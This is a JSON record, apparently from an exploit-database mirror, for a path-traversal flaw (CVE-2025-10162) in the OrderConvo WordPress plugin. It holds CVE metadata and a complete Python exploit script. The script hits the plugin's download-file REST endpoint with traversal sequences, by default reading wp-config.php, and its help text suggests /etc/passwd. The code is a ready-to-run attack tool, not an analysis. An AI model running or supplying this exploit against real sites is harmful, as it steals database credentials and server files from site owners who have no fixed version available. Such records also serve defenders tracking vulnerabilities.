{"exploit":{"id":"EDB-52607","name":"WordPress OrderConvo 14 - Path Traversal","description":"WordPress OrderConvo 14 - Path Traversal","cves":["CVE-2025-10162"],"author":"Diamorphine","published":"2026-06-01","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52607","path":"exploits/multiple/webapps/52607.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52607.py","vulnerabilities":[{"id":"CVE-2025-10162","state":"PUBLISHED","title":"OrderConvo <= 15.1 - Unauthenticated Arbitrary File Read","titleSource":"CVE Program","description":"The Admin and Customer Messages After Order for WooCommerce: OrderConvo WordPress plugin through 15.1 does not validate the path of files to be downloaded, which could allow unauthenticated users (before version 15.0) and any authenticated user such as a Subscriber (versions 15.0 to 15.1) to read arbitrary files on the server via a path traversal attack; the fix released in version 14 was incomplete and no fixed version is available.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-10162","cvss":{"version":"3.1","baseScore":8.6,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"WPScan","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-10162"},"updatedAt":"2026-10-12T08:36:09.589Z","retrievedAt":"2026-11-25T16:15:43.265Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52607.png?v=2","url":"https://exploitbin.com/exploits/EDB-52607","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52607/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52607/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WordPress OrderConvo 14 - Path Traversal\n# Date: 05-31-2026\n# Exploit Author: Diamorphine\n# Vendor Homepage: https://www.najeebmedia.com/\n# Software Link: https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/\n# Version: 13.5\n# Tested on: Debian\n# CVE : CVE-2025-10162\n\nimport httpx\nimport asyncio\nimport argparse\nfrom urllib.parse import urljoin\nimport sys\n\n\nasync def main(base_url, file):\n\tasync with httpx.AsyncClient(verify=False) as client:\n\t\ttry:\n\t\t\tprint('[*] Checking connection to target')\n\t\t\treq = await client.get(url=base_url)\n\t\t\tif req.status_code == 200:\n\t\t\t\tprint('[+] The target is alive, exploiting\\n')\n\t\t\telse:\n\t\t\t\tprint(f'[-] Unable to connect to the target. Code: {req.status_code}')\n\t\t\t\tsys.exit()\n\t\texcept:\n\t\t\tprint(f'[-] Problem with connection to the target.')\n\t\t\tsys.exit()\n\n\t\texp_url = urljoin(base_url, f'wp-json/wooconvo/v1/download-file?order_id=1&filename={file}')\n\t\tr = await client.get(url=exp_url)\n\t\tif len(r.text) != 0:\n\t\t\tprint(r.text)\n\t\telse:\n\t\t\tprint(\"[*] Unable to read file\")\n\nparser = argparse.ArgumentParser(description=\"Exploit for CVE-2025-10162\")\n\nparser.add_argument(\"-u\", \"--url\", required=True, help=\"Target URL, e.g. https://test.local\")\nparser.add_argument(\"-f\", \"--filename\", default=\"../../../../wp-config.php\", help=\"Path to the file to read. Note: You must use deep path traversal sequences (e.g., ../../../../../etc/passwd) to break out of the web root and access sensitive system or WordPress files. (Default: ../../../../wp-config.php)\")\n\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n\tasyncio.run(main(args.url, args.filename))","sha256":"f694cce43c24594f166763698dbb2db441fdb673926513f66c5b336470cb7e07","bytes":1640,"fetchedAt":"2026-11-26T08:59:00.561Z","encoding":"utf-8 (display only; download retains original bytes)"}